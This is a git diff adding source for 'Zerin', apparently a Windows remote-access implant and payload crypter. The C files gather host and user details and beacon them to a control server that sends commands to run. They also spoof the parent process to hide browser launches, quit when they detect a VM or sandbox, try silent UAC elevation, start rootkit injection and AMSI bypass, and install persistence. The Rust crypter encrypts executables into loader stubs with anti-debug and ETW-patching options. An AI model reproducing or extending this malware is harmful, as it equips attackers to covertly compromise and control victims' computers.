DEFAULT_INSTALL_FILENAME, 63); + + return config_validate(cfg) ? 0 : -1; +} + +static bool is_key_zeroed(const uint8_t *key, size_t len) { + for (size_t i = 0; i < len; i++) { + if (key[i] != 0) return false; + } + return true; +} + +bool config_validate(const zerin_config_t *cfg) { +#ifdef DIAG_RELEASE + /* Temporary: write which validation check fails to the release diag log. + We share the file handle opened in main.c via extern. */ + extern HANDLE g_rdiag; + #define CV_LOG(m) do { if (g_rdiag != INVALID_HANDLE_VALUE) { \ + DWORD _w; WriteFile(g_rdiag, m, lstrlenA(m), &_w, NULL); \ + FlushFileBuffers(g_rdiag); } } while(0) +#else + #define CV_LOG(m) ((void)0) +#endif + if (cfg->num_urls == 0) { CV_LOG(" VALIDATE FAIL: num_urls==0\r\n"); return false; } + if (cfg->sleep_interval == 0) { CV_LOG(" VALIDATE FAIL: sleep_interval==0\r\n"); return false; } + if (cfg->jitter_percent > 50) { CV_LOG(" VALIDATE FAIL: jitter>50\r\n"); return false; } + // Reject zero-filled keys in non-debug builds (payload builder should replace them) +#ifndef _DEBUG + if (is_key_zeroed(cfg->server_pubkey, 32)) { CV_LOG(" VALIDATE FAIL: server_pubkey zeroed\r\n"); return false; } + if (is_key_zeroed(cfg->agent_privkey, 32)) { CV_LOG(" VALIDATE FAIL: agent_privkey zeroed\r\n"); return false; } + if (is_key_zeroed(cfg->agent_pubkey, 32)) { CV_LOG(" VALIDATE FAIL: agent_pubkey zeroed\r\n"); return false; } +#endif + CV_LOG(" VALIDATE: all checks passed\r\n"); +#undef CV_LOG + return true; +} + +void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter) { + if (interval > 0) cfg->sleep_interval = interval; + if (jitter <= 50) cfg->jitter_percent = jitter; +} + +bool config_is_expired(const zerin_config_t *cfg) { + if (cfg->kill_date == 0) return false; + return platform_time_unix() >= cfg->kill_date; +} + +// Derive a per-machine agent ID so the same payload binary deployed to +// multiple machines produces unique IDs (prevents agents from overwriting +// each other on the server). The ID is deterministic: same machine + +// same build always yields the same UUID, so reconnects work correctly. +void config_derive_machine_id(zerin_config_t *cfg) { + char machine_guid[128] = {0}; + + // Read MachineGuid from the registry — unique per Windows install + HKEY hKey; + char reg_crypto[64]; + obf_decrypt_to(OBF_REG_CRYPTOGRAPHY, reg_crypto, sizeof(reg_crypto)); + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, + reg_crypto, + 0, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) { + DWORD size = sizeof(machine_guid) - 1; + DWORD type = REG_SZ; + RegQueryValueExA(hKey, "MachineGuid", NULL, &type, + (LPBYTE)machine_guid, &size); + RegCloseKey(hKey); + } + obf_wipe(reg_crypto, sizeof(reg_crypto)); + + // Fallback: use computer name + volume serial if MachineGuid unavailable + if (machine_guid[0] == '\0') { + DWORD hsize = 64; + GetComputerNameA(machine_guid, &hsize); + + DWORD serial = 0; + GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0); + char serial_str[16]; + snprintf(serial_str, sizeof(serial_str), "-%08lx", (unsigned long)serial); + strncat(machine_guid, serial_str, sizeof(machine_guid) - strlen(machine_guid) - 1); + } + + // Hash: SHA256(build_agent_id || machine_guid) + uint8_t hash[32]; + sha256_ctx_t ctx; + sha256_init(&ctx); + sha256_update(&ctx, (const uint8_t *)cfg->agent_id, strlen(cfg->agent_id)); + sha256_update(&ctx, (const uint8_t *)machine_guid, strlen(machine_guid)); + sha256_final(&ctx, hash); + + // Format first 16 bytes as UUID v4 (set version=4, variant=1) + hash[6] = (hash[6] & 0x0F) | 0x40; // version 4 + hash[8] = (hash[8] & 0x3F) | 0x80; // variant 1 + + snprintf(cfg->agent_id, 37, + "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x", + hash[0], hash[1], hash[2], hash[3], + hash[4], hash[5], + hash[6], hash[7], + hash[8], hash[9], + hash[10], hash[11], hash[12], hash[13], hash[14], hash[15]); +} diff --git a/src/core/debug.c b/src/core/debug.c new file mode 100755 index 0000000..baac283 --- /dev/null +++ b/src/core/debug.c @@ -0,0 +1,421 @@ +#include "zerin.h" +#include +#include +#include + +#if defined(_WIN32) && defined(_DEBUG) + +#include + +// ============================================================================ +// Debug mode: plaintext JSON beacon over HTTP +// +// Bypasses the encrypted binary protocol so the agent can talk to the +// server without valid crypto keys. Only compiled in _DEBUG builds. +// ============================================================================ + +// Escape a C string for embedding in JSON (handles \, ", and control chars). +static size_t json_escape(char *dst, size_t cap, const char *src) { + size_t j = 0; + if (cap == 0) return 0; + for (size_t i = 0; src[i] && j + 7 < cap; i++) { + unsigned char c = (unsigned char)src[i]; + switch (c) { + case '\\': dst[j++] = '\\'; dst[j++] = '\\'; break; + case '"': dst[j++] = '\\'; dst[j++] = '"'; break; + case '\n': dst[j++] = '\\'; dst[j++] = 'n'; break; + case '\r': dst[j++] = '\\'; dst[j++] = 'r'; break; + case '\t': dst[j++] = '\\'; dst[j++] = 't'; break; + case '\b': dst[j++] = '\\'; dst[j++] = 'b'; break; + case '\f': dst[j++] = '\\'; dst[j++] = 'f'; break; + default: + if (c < 0x20) { + j += (size_t)snprintf(dst + j, cap - j, "\\u%04x", c); + } else { + dst[j++] = (char)c; + } + break; + } + } + dst[j] = '\0'; + return j; +} + +// POST JSON to http://127.0.0.1:8443/. +static int debug_post_json(const char *endpoint, const char *json, + char **out_response, size_t *out_len) { + HINTERNET session = NULL, connect = NULL, request = NULL; + wchar_t ep_wide[256]; + int ret = -1; + + *out_response = NULL; + *out_len = 0; + + if (strlen(endpoint) >= 256) { + // Truncation would occur + return -1; + } + if (MultiByteToWideChar(CP_UTF8, 0, endpoint, -1, ep_wide, 256) == 0) + return -1; + + session = WinHttpOpen(L"ZerinDebug/1.0", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!session) goto done; + + connect = WinHttpConnect(session, L"127.0.0.1", 8080, 0); + if (!connect) goto done; + + request = WinHttpOpenRequest(connect, L"POST", ep_wide, NULL, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + if (!request) goto done; + + WinHttpAddRequestHeaders(request, + L"Content-Type: application/json\r\n", + (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE); + + DWORD json_len = (DWORD)strlen(json); + if (!WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + (LPVOID)json, json_len, json_len, 0)) + goto done; + + if (!WinHttpReceiveResponse(request, NULL)) + goto done; + + DWORD status = 0, status_size = sizeof(status); + WinHttpQueryHeaders(request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status, &status_size, + WINHTTP_NO_HEADER_INDEX); + if (status != 200) goto done; + + // Read response body + size_t total = 0, cap = 4096; + char *buf = (char *)malloc(cap); + if (!buf) goto done; + + DWORD avail, bread; + while (WinHttpQueryDataAvailable(request, &avail) && avail > 0) { + if (total + avail + 1 >= cap) { + cap = (total + avail + 1) * 2; + char *nb = (char *)realloc(buf, cap); + if (!nb) { free(buf); goto done; } + buf = nb; + } + if (!WinHttpReadData(request, buf + total, avail, &bread)) { + free(buf); goto done; + } + total += bread; + } + buf[total] = '\0'; + + *out_response = buf; + *out_len = total; + ret = 0; + +done: + if (request) WinHttpCloseHandle(request); + if (connect) WinHttpCloseHandle(connect); + if (session) WinHttpCloseHandle(session); + return ret; +} + +// Find a JSON string value by key: "key":"value" +static const char *json_find_str(const char *json, const char *key, + size_t *vlen) { + char search[128]; + snprintf(search, sizeof(search), "\"%s\":\"", key); + const char *p = strstr(json, search); + if (!p) { *vlen = 0; return NULL; } + p += strlen(search); + const char *end = p; + while (*end && *end != '"') { + if (*end == '\\') { + end++; + if (!*end) break; + } + end++; + } + *vlen = (size_t)(end - p); + return p; +} + +// ============================================================================ +// debug_checkin — POST system info as JSON to /api/debug/checkin +// ============================================================================ +int debug_checkin(zerin_agent_t *agent) { + checkin_t ci; + recon_gather_checkin(&ci, agent->config.agent_id, + agent->config.sleep_interval, + agent->config.jitter_percent, + agent->config.kill_date); + + char esc_id[64], esc_host[512], esc_user[512], esc_domain[512]; + char esc_ip[128], esc_os[512], esc_arch[16], esc_proc[520]; + + json_escape(esc_id, sizeof(esc_id), ci.agent_id); + json_escape(esc_host, sizeof(esc_host), ci.hostname); + json_escape(esc_user, sizeof(esc_user), ci.username); + json_escape(esc_domain, sizeof(esc_domain), ci.domain); + json_escape(esc_ip, sizeof(esc_ip), ci.internal_ip); + json_escape(esc_os, sizeof(esc_os), ci.os_version); + json_escape(esc_arch, sizeof(esc_arch), ci.arch); + json_escape(esc_proc, sizeof(esc_proc), ci.process_name); + + char json[4096]; + snprintf(json, sizeof(json), + "{" + "\"agent_id\":\"%s\"," + "\"hostname\":\"%s\"," + "\"username\":\"%s\"," + "\"domain\":\"%s\"," + "\"internal_ip\":\"%s\"," + "\"pid\":%lu," + "\"ppid\":%lu," + "\"os_version\":\"%s\"," + "\"arch\":\"%s\"," + "\"process_name\":\"%s\"," + "\"elevated\":%s," + "\"integrity_level\":%lu," + "\"sleep_interval\":%lu," + "\"jitter_percent\":%lu," + "\"kill_date\":%lld" + "}", + esc_id, esc_host, esc_user, esc_domain, esc_ip, + (unsigned long)ci.pid, (unsigned long)ci.ppid, + esc_os, esc_arch, esc_proc, + ci.elevated ? "true" : "false", + (unsigned long)ci.integrity_level, + (unsigned long)ci.sleep_interval, + (unsigned long)ci.jitter_percent, + (long long)ci.kill_date); + + char *resp = NULL; + size_t resp_len = 0; + int rc = debug_post_json("/api/debug/checkin", json, &resp, &resp_len); + if (resp) free(resp); + + if (rc == 0) { + agent->session_established = true; + printf("[DEBUG] Checked in: %s (%s@%s)\n", + ci.agent_id, ci.username, ci.hostname); + } else { + printf("[DEBUG] Checkin failed!\n"); + } + return rc; +} + +// ============================================================================ +// debug_beacon_loop — periodic JSON beacons to /api/debug/beacon +// ============================================================================ +int debug_beacon_loop(zerin_agent_t *agent) { + while (agent->running) { + if (config_is_expired(&agent->config)) { + agent->running = false; + break; + } + + // Build beacon request (no results to send) + // Escape agent_id to prevent JSON injection + char esc_aid[128]; + json_escape(esc_aid, sizeof(esc_aid), agent->config.agent_id); + char req_json[512]; + snprintf(req_json, sizeof(req_json), + "{\"agent_id\":\"%s\",\"results\":[]}", + esc_aid); + + char *resp = NULL; + size_t resp_len = 0; + + if (debug_post_json("/api/debug/beacon", req_json, + &resp, &resp_len) == 0 && resp) { + // Parse tasks from: {"tasks":[{...},{...}]} + const char *p = strstr(resp, "\"tasks\":["); + if (p) { + p = strchr(p, '[') + 1; + + while (*p) { + const char *obj = strchr(p, '{'); + if (!obj) break; + + // Find matching closing brace + int depth = 0; + const char *obj_end = obj; + do { + if (*obj_end == '{') depth++; + else if (*obj_end == '}') depth--; + if (depth > 0) obj_end++; + } while (depth > 0 && *obj_end); + if (depth > 0) break; // malformed JSON, bail + obj_end++; // past closing brace + + size_t obj_len = (size_t)(obj_end - obj); + char *tj = (char *)malloc(obj_len + 1); + if (!tj) break; + memcpy(tj, obj, obj_len); + tj[obj_len] = '\0'; + + // Extract task_id and command + size_t tid_len = 0, cmd_len = 0; + const char *tid = json_find_str(tj, "task_id", &tid_len); + const char *cmd = json_find_str(tj, "command", &cmd_len); + + if (tid && cmd && tid_len < 37 && cmd_len < 64) { + task_t task; + memset(&task, 0, sizeof(task)); + memcpy(task.task_id, tid, tid_len); + task.task_id[tid_len] = '\0'; + memcpy(task.command, cmd, cmd_len); + task.command[cmd_len] = '\0'; + + // Parse args: "args":["a","b"] + const char *args_p = strstr(tj, "\"args\":["); + if (args_p) { + args_p = strchr(args_p, '[') + 1; + while (*args_p && *args_p != ']' && + task.num_args < TASK_MAX_ARGS) { + if (*args_p == '"') { + args_p++; + const char *ae = args_p; + while (*ae && *ae != '"') { + if (*ae == '\\') { + ae++; + if (!*ae) break; + } + ae++; + } + size_t alen = (size_t)(ae - args_p); + task.args[task.num_args] = + (char *)malloc(alen + 1); + if (task.args[task.num_args]) { + memcpy(task.args[task.num_args], + args_p, alen); + task.args[task.num_args][alen] = '\0'; + task.num_args++; + } + args_p = ae + 1; + } else { + args_p++; + } + } + } + + // Handle special commands + if (strcmp(task.command, "sleep") == 0) { + if (task.num_args >= 1) { + int val = atoi(task.args[0]); + if (val > 0 && val <= 86400) + agent->config.sleep_interval = (uint32_t)val; + } + if (task.num_args >= 2) { + int val = atoi(task.args[1]); + if (val >= 0 && val <= 50) + agent->config.jitter_percent = (uint32_t)val; + } + printf("[DEBUG] Sleep -> %us / %u%%\n", + agent->config.sleep_interval, + agent->config.jitter_percent); + } else if (strcmp(task.command, "exit") == 0) { + printf("[DEBUG] Exit received\n"); + agent->running = false; + for (uint32_t a = 0; a < task.num_args; a++) + if (task.args[a]) free(task.args[a]); + free(tj); + goto debug_loop_done; + } else { + printf("[DEBUG] Task %s: %s\n", + task.task_id, task.command); + + task_result_t result; + command_dispatch(&task, &result, agent->cwd); + + // Send result back — use dynamic buffers + // for commands that produce large output. + size_t out_raw = result.output ? + strlen(result.output) : 0; + size_t esc_out_cap = (out_raw * 2) + 64; + if (esc_out_cap < 4096) esc_out_cap = 4096; + char *esc_out = (char *)calloc(1, esc_out_cap); + char esc_err[1024] = ""; + if (esc_out && result.output) + json_escape(esc_out, esc_out_cap, + result.output); + if (result.error_message) + json_escape(esc_err, sizeof(esc_err), + result.error_message); + + // Base64-encode binary data if present + extern char *base64_encode(const uint8_t *data, + size_t len, + size_t *out_len); + char *b64_data = NULL; + size_t b64_len = 0; + if (result.data && result.data_len > 0) { + b64_data = base64_encode(result.data, + result.data_len, + &b64_len); + printf("[DEBUG] Data: %zu bytes -> %zu b64\n", + result.data_len, b64_len); + } + + // Allocate buffer large enough for JSON + output + b64 + size_t rj_size = 2048 + esc_out_cap + b64_len; + char *rj = (char *)malloc(rj_size); + if (rj) { + snprintf(rj, rj_size, + "{\"agent_id\":\"%s\",\"results\":[{" + "\"task_id\":\"%s\"," + "\"success\":%s," + "\"output\":\"%s\"," + "\"data\":\"%s\"," + "\"error_code\":%d," + "\"error_message\":\"%s\"" + "}]}", + agent->config.agent_id, + task.task_id, + result.success ? "true" : "false", + esc_out ? esc_out : "", + b64_data ? b64_data : "", + (int)result.error_code, + esc_err); + + char *rr = NULL; + size_t rrl = 0; + debug_post_json("/api/debug/beacon", + rj, &rr, &rrl); + if (rr) free(rr); + free(rj); + } + if (esc_out) free(esc_out); + if (b64_data) free(b64_data); + + printf("[DEBUG] -> %s: %s\n", + result.success ? "OK" : "ERR", + result.output ? result.output : "(none)"); + task_result_free(&result); + } + + // Free args + for (uint32_t a = 0; a < task.num_args; a++) + if (task.args[a]) free(task.args[a]); + } + free(tj); + p = obj_end; + } + } + free(resp); + } else { + printf("[DEBUG] Beacon failed\n"); + } + +debug_loop_done: + printf("[DEBUG] Sleeping %us...\n", agent->config.sleep_interval); + Sleep(agent->config.sleep_interval * 1000); + } + + return 0; +} + +#endif // _WIN32 && _DEBUG diff --git a/src/core/main.c b/src/core/main.c new file mode 100755 index 0000000..dbf5cd7 --- /dev/null +++ b/src/core/main.c @@ -0,0 +1,379 @@ +#include "zerin.h" +#include +#include +#include + +/* ── PPID spoofing: re-spawn under explorer.exe if launched from a browser ── */ + +/* Manual PBI definition — avoids winternl.h portability issues across MinGW/MSVC */ +typedef struct { + PVOID Reserved1; + PVOID PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PBI_T; + +static DWORD get_parent_pid(void) { + typedef LONG (NTAPI *pNtQIP)(HANDLE, ULONG, PVOID, ULONG, PULONG); + pNtQIP NtQIP = RESOLVE_API(HASH_NTDLL, HASH_NtQueryInformationProcess, pNtQIP); + if (!NtQIP) return 0; + + PBI_T pbi; + ULONG len; + if (NtQIP(GetCurrentProcess(), 0 /* ProcessBasicInformation */, &pbi, sizeof(pbi), &len) != 0) + return 0; + return (DWORD)pbi.InheritedFromUniqueProcessId; +} + +static BOOL parent_is_browser(DWORD ppid) { + HANDLE hp = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, ppid); + if (!hp) return FALSE; + + char name[MAX_PATH]; + DWORD sz = MAX_PATH; + BOOL ok = QueryFullProcessImageNameA(hp, 0, name, &sz); + CloseHandle(hp); + if (!ok) return FALSE; + + /* extract the filename from the full path */ + const char *slash = strrchr(name, '\\'); + const char *exe = slash ? slash + 1 : name; + + const char *browsers[] = { + "brave.exe", "chrome.exe", "msedge.exe", + "firefox.exe", "opera.exe", "iexplore.exe", NULL + }; + for (int i = 0; browsers[i]; i++) + if (_stricmp(exe, browsers[i]) == 0) return TRUE; + return FALSE; +} + +static DWORD find_explorer_pid(void) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + + PROCESSENTRY32 pe; + pe.dwSize = sizeof(pe); + DWORD pid = 0; + if (Process32First(snap, &pe)) { + do { + if (_stricmp(pe.szExeFile, "explorer.exe") == 0) { + pid = pe.th32ProcessID; + break; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return pid; +} + +static void maybe_respawn_under_explorer(void) { + DWORD ppid = get_parent_pid(); + if (ppid == 0 || !parent_is_browser(ppid)) + return; + + DWORD explorer_pid = find_explorer_pid(); + if (explorer_pid == 0) return; + + HANDLE h_explorer = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid); + if (!h_explorer) return; + + /* Build attribute list for parent-process spoofing */ + SIZE_T attr_size = 0; + InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size); + LPPROC_THREAD_ATTRIBUTE_LIST attrs = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( + GetProcessHeap(), 0, attr_size); + if (!attrs) { CloseHandle(h_explorer); return; } + + if (!InitializeProcThreadAttributeList(attrs, 1, 0, &attr_size)) { + HeapFree(GetProcessHeap(), 0, attrs); + CloseHandle(h_explorer); + return; + } + + if (!UpdateProcThreadAttribute(attrs, 0, + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + &h_explorer, sizeof(HANDLE), NULL, NULL)) { + DeleteProcThreadAttributeList(attrs); + HeapFree(GetProcessHeap(), 0, attrs); + CloseHandle(h_explorer); + return; + } + + /* Get our own exe path */ + WCHAR exe_path[MAX_PATH]; + GetModuleFileNameW(NULL, exe_path, MAX_PATH); + + STARTUPINFOEXW si; + ZeroMemory(&si, sizeof(si)); + si.StartupInfo.cb = sizeof(si); + si.lpAttributeList = attrs; + + PROCESS_INFORMATION pi; + ZeroMemory(&pi, sizeof(pi)); + + BOOL created = CreateProcessW(exe_path, NULL, NULL, NULL, FALSE, + CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, + NULL, NULL, &si.StartupInfo, &pi); + + DeleteProcThreadAttributeList(attrs); + HeapFree(GetProcessHeap(), 0, attrs); + CloseHandle(h_explorer); + + if (created) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + ExitProcess(0); + } + /* If CreateProcess failed, continue running under the browser — better than not running */ +} + +int zerin_init(zerin_agent_t *agent) { + memset(agent, 0, sizeof(*agent)); + + // Initialize config from embedded defaults + if (config_init(&agent->config) != 0) + return ZERIN_ERR_CONFIG; + + // Set initial working directory + if (GetCurrentDirectoryA(MAX_PATH, agent->cwd) == 0) { + strncpy(agent->cwd, "C:\\", MAX_PATH - 1); + agent->cwd[MAX_PATH - 1] = '\0'; + } + + agent->session_established = false; + agent->sequence_number = 0; + agent->running = true; + + return ZERIN_OK; +} + +void zerin_cleanup(zerin_agent_t *agent) { + // Zeroize all sensitive data + secure_zero(agent->session_key, ZERIN_KEY_SIZE); + secure_zero(agent->config.agent_privkey, 32); + secure_zero(agent->config.server_pubkey, 32); + secure_zero(agent, sizeof(*agent)); +} + +/* ── Release diagnostic file handle (temporary, used by config.c too) ── */ +#ifdef DIAG_RELEASE +HANDLE g_rdiag = INVALID_HANDLE_VALUE; +#define RDIAG(msg) do { if (g_rdiag != INVALID_HANDLE_VALUE) { \ + DWORD _w; WriteFile(g_rdiag, msg, lstrlenA(msg), &_w, NULL); \ + FlushFileBuffers(g_rdiag); } } while(0) +#else +#define RDIAG(msg) ((void)0) +#endif + +#ifdef _DEBUG + +/* Win32 debug logger — bypasses CRT stdio entirely so it works + even when the PE is manually loaded by the crypter stub. */ +static HANDLE g_dbg_file = INVALID_HANDLE_VALUE; +static void dbg_init(void) { + char path[MAX_PATH]; + DWORD len = GetEnvironmentVariableA("USERPROFILE", path, MAX_PATH); + if (len > 0 && len < MAX_PATH - 30) + lstrcatA(path, "\\Desktop\\zerin_debug.log"); + else + lstrcpyA(path, "zerin_debug.log"); + g_dbg_file = CreateFileA(path, GENERIC_WRITE, FILE_SHARE_READ, + NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +} +static void dbg_log(const char *msg) { + if (g_dbg_file == INVALID_HANDLE_VALUE) return; + DWORD written; + WriteFile(g_dbg_file, msg, lstrlenA(msg), &written, NULL); + FlushFileBuffers(g_dbg_file); +} + +int main(void) { + maybe_respawn_under_explorer(); + + dbg_init(); + dbg_log("=== Zerin agent main() reached ===\r\n"); + + /* Also try to set up CRT stdio for existing printf calls */ + AllocConsole(); + freopen("CONOUT$", "w", stdout); + setvbuf(stdout, NULL, _IONBF, 0); + printf("[DEBUG] Zerin agent starting...\n"); +#else +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + LPSTR lpCmdLine, int nCmdShow) { + (void)hInstance; (void)hPrevInstance; + (void)lpCmdLine; (void)nCmdShow; + + maybe_respawn_under_explorer(); +#endif + +/* ── Release diagnostic logging (temporary) ────────────────────── */ +#ifdef DIAG_RELEASE + { + char rpath[MAX_PATH]; + DWORD rlen = GetEnvironmentVariableA("TEMP", rpath, MAX_PATH); + if (rlen > 0 && rlen < MAX_PATH - 30) + lstrcatA(rpath, "\\zerin_release.log"); + else + lstrcpyA(rpath, "zerin_release.log"); + g_rdiag = CreateFileA(rpath, GENERIC_WRITE, FILE_SHARE_READ, + NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + } + RDIAG("RELEASE: WinMain entered\r\n"); +#endif + + zerin_agent_t agent; + + // Initialize agent + RDIAG("RELEASE: calling zerin_init...\r\n"); + if (zerin_init(&agent) != ZERIN_OK) { + RDIAG("RELEASE: zerin_init FAILED (config_validate rejected)\r\n"); + return 1; + } + RDIAG("RELEASE: zerin_init OK\r\n"); + + // Derive a per-machine unique agent ID so the same payload binary + // deployed to multiple machines produces unique IDs on the server. + config_derive_machine_id(&agent.config); + RDIAG("RELEASE: machine ID derived\r\n"); + + // Initialize evasion subsystems (API resolution, string decryption, etc.) + if (evasion_init() != 0) { +#ifdef _DEBUG + printf("[DEBUG] evasion_init failed, continuing without evasion\n"); +#endif + RDIAG("RELEASE: evasion_init failed (continuing)\r\n"); + } else { + RDIAG("RELEASE: evasion_init OK\r\n"); + } + +#ifndef _DEBUG + // Anti-VM / sandbox detection — silently exit if analysis environment detected + if (evasion_check_vm()) { + RDIAG("RELEASE: VM/sandbox detected, exiting\r\n"); + zerin_cleanup(&agent); + return 0; + } + RDIAG("RELEASE: VM check passed\r\n"); +#endif + +#ifndef _DEBUG + // Signal to the parent (non-elevated) process that we're alive. + // This must happen BEFORE maybe_auto_elevate so the parent can verify. + { + extern void signal_elevated_running(void); + signal_elevated_running(); + } +#endif + + // Try silent UAC elevation if not already admin (and enabled in config) + if (agent.config.auto_elevate && !is_elevated()) { + RDIAG("RELEASE: not elevated, trying auto-elevate\r\n"); + maybe_auto_elevate(); + RDIAG("RELEASE: auto-elevate returned (bypasses failed, continuing as non-admin)\r\n"); + } else { + RDIAG("RELEASE: already elevated or auto-elevate disabled\r\n"); + } + + // Initialize rootkit subsystems (unhook, AMSI, injection) + // rootkit_init checks cfg->rootkit_enabled internally +#ifdef _WIN32 + rootkit_init(&agent.config); + RDIAG("RELEASE: rootkit_init done\r\n"); +#endif + + // Check kill date before doing anything + if (config_is_expired(&agent.config)) { + RDIAG("RELEASE: kill date expired, exiting\r\n"); + zerin_cleanup(&agent); + return 0; + } + RDIAG("RELEASE: kill date OK\r\n"); + +#ifdef _DEBUG + // Debug mode: plaintext JSON beacons (no crypto required) + printf("[DEBUG] Zerin agent starting in DEBUG mode (ID: %s)\n", agent.config.agent_id); + + // Quick 5-second sleep interval for testing + agent.config.sleep_interval = 5; + + // Checkin with retry + { + int ok = 0; + for (int i = 0; i < 5 && agent.running; i++) { + if (debug_checkin(&agent) == 0) { ok = 1; break; } + printf("[DEBUG] Retrying checkin in 3s...\n"); + Sleep(3000); + } + if (!ok) { + printf("[DEBUG] Could not check in, exiting.\n"); + zerin_cleanup(&agent); + return 1; + } + } + + // Auto-install persistence if configured + persist_auto_install(&agent.config); + + // Start rootkit injection now that we have a session + // (deferred from rootkit_init to ensure comms work first) +#ifdef _WIN32 + rootkit_start_injection(); +#endif + + debug_beacon_loop(&agent); +#else + // Production mode: encrypted binary protocol + // Perform key exchange with retry + RDIAG("RELEASE: starting key exchange\r\n"); + int retry_delay_ms = 5000; + int exchanged = 0; + + while (!exchanged && agent.running) { +#ifdef DIAG_RELEASE + { + char abuf[128]; + wsprintfA(abuf, "RELEASE: kx attempt, url=%s\r\n", + agent.config.callback_urls[0]); + RDIAG(abuf); + } +#endif + if (zerin_key_exchange(&agent) == ZERIN_OK) { + exchanged = 1; + RDIAG("RELEASE: key exchange SUCCESS\r\n"); + break; + } + RDIAG("RELEASE: kx attempt failed, backing off\r\n"); + platform_sleep_ms(retry_delay_ms); + retry_delay_ms *= 2; + if (retry_delay_ms > 300000) retry_delay_ms = 300000; /* cap at 5 min */ + } + + if (!exchanged) { + zerin_cleanup(&agent); + return 1; + } + + // Auto-install persistence if configured + persist_auto_install(&agent.config); + + // Start rootkit injection now that we have a session + // (deferred from rootkit_init to ensure comms work first) +#ifdef _WIN32 + rootkit_start_injection(); +#endif + + // Enter main beacon loop + zerin_beacon_loop(&agent); +#endif + + // Cleanup +#ifdef _WIN32 + rootkit_cleanup(); +#endif + evasion_cleanup(); + zerin_cleanup(&agent); + return 0; +} diff --git a/src/crypter.rs b/src/crypter.rs new file mode 100755 index 0000000..20c347a --- /dev/null +++ b/src/crypter.rs @@ -0,0 +1,513 @@ +//! Crypter engine — encrypts user-supplied PE files and compiles a loader stub. +//! +//! Pipeline: +//! 1. Validate PE (MZ + PE signature, size limit) +//! 2. Encrypt payload: XOR with random 32-byte key, then AES-256-CBC +//! 3. Generate stub source: patch in encrypted payload, keys, IV, options +//! 4. Compile with MinGW GCC +//! 5. Return compiled .exe bytes + +use rand::rngs::OsRng; +use rand::RngCore; +use std::path::Path; +use std::time::Duration; +use tokio::fs; +use tracing::{error, info}; + +use crate::polymorph; + +/// Maximum input PE size: 10 MB. +/// Larger payloads produce huge C hex arrays that exhaust GCC memory. +const MAX_PAYLOAD_SIZE: usize = 10 * 1024 * 1024; + +/// Compilation timeout. +const GCC_TIMEOUT_SECS: u64 = 120; + +// ── Request types ───────────────────────────────────────────────────── + +#[derive(Debug, Clone)] +pub enum CryptMode { + RunPE, + Shellcode, +} + +#[derive(Debug, Clone)] +pub struct EvasionOptions { + pub anti_sandbox: bool, + pub anti_debug: bool, + pub unhook_ntdll: bool, + pub amsi_bypass: bool, + pub etw_patch: bool, + pub delayed_exec: bool, +} + +#[derive(Debug, Clone)] +pub struct CryptRequest { + pub payload: Vec, + pub mode: CryptMode, + pub evasion: EvasionOptions, + pub target_process: String, + pub sleep_seconds: u32, +} + +// ── Helpers ─────────────────────────────────────────────────────────── + +/// Format a byte slice as a C array initializer: `{ 0xAB, 0xCD, ... }` +/// +/// Writes directly to a pre-allocated String to avoid creating millions of +/// intermediate String objects (which would use ~56 bytes of heap per byte of +/// input — a 10 MB payload would consume 560 MB just for the intermediates). +fn bytes_to_c_hex_array(bytes: &[u8]) -> String { + use std::fmt::Write; + // Each byte → "0xAB" (4 chars) + ", " (2 chars) ≈ 6 chars per byte + // Plus line formatting (" " prefix, newlines) ≈ 6 chars per 16 bytes + let estimated = 3 + bytes.len() * 6 + (bytes.len() / 16 + 1) * 6; + let mut out = String::with_capacity(estimated); + out.push_str("{\n"); + let num_chunks = (bytes.len() + 15) / 16; + for (i, chunk) in bytes.chunks(16).enumerate() { + out.push_str(" "); + for (j, b) in chunk.iter().enumerate() { + if j > 0 { out.push_str(", "); } + let _ = write!(out, "0x{:02X}", b); + } + if i < num_chunks - 1 { + out.push_str(",\n"); + } else { + out.push('\n'); + } + } + out.push('}'); + out +} + +/// Sanitize a string for safe interpolation into a C wide string literal. +fn sanitize_for_c_wstring(s: &str) -> String { + s.chars() + .filter(|c| !c.is_control()) + .collect::() + .replace('\\', "\\\\") + .replace('"', "\\\"") +} + +/// XOR encrypt data in-place with a key. +fn xor_encrypt(data: &mut [u8], key: &[u8; 32]) { + for (i, byte) in data.iter_mut().enumerate() { + *byte ^= key[i % 32]; + } +} + +/// AES-256-CBC encrypt using the `aes` + `cbc` crates. +fn aes_256_cbc_encrypt(plaintext: &[u8], key: &[u8; 32], iv: &[u8; 16]) -> Vec { + use aes::Aes256; + use cbc::{Encryptor, cipher::{BlockEncryptMut, KeyIvInit, block_padding::Pkcs7}}; + + type Aes256CbcEnc = Encryptor; + + let encryptor = Aes256CbcEnc::new(key.into(), 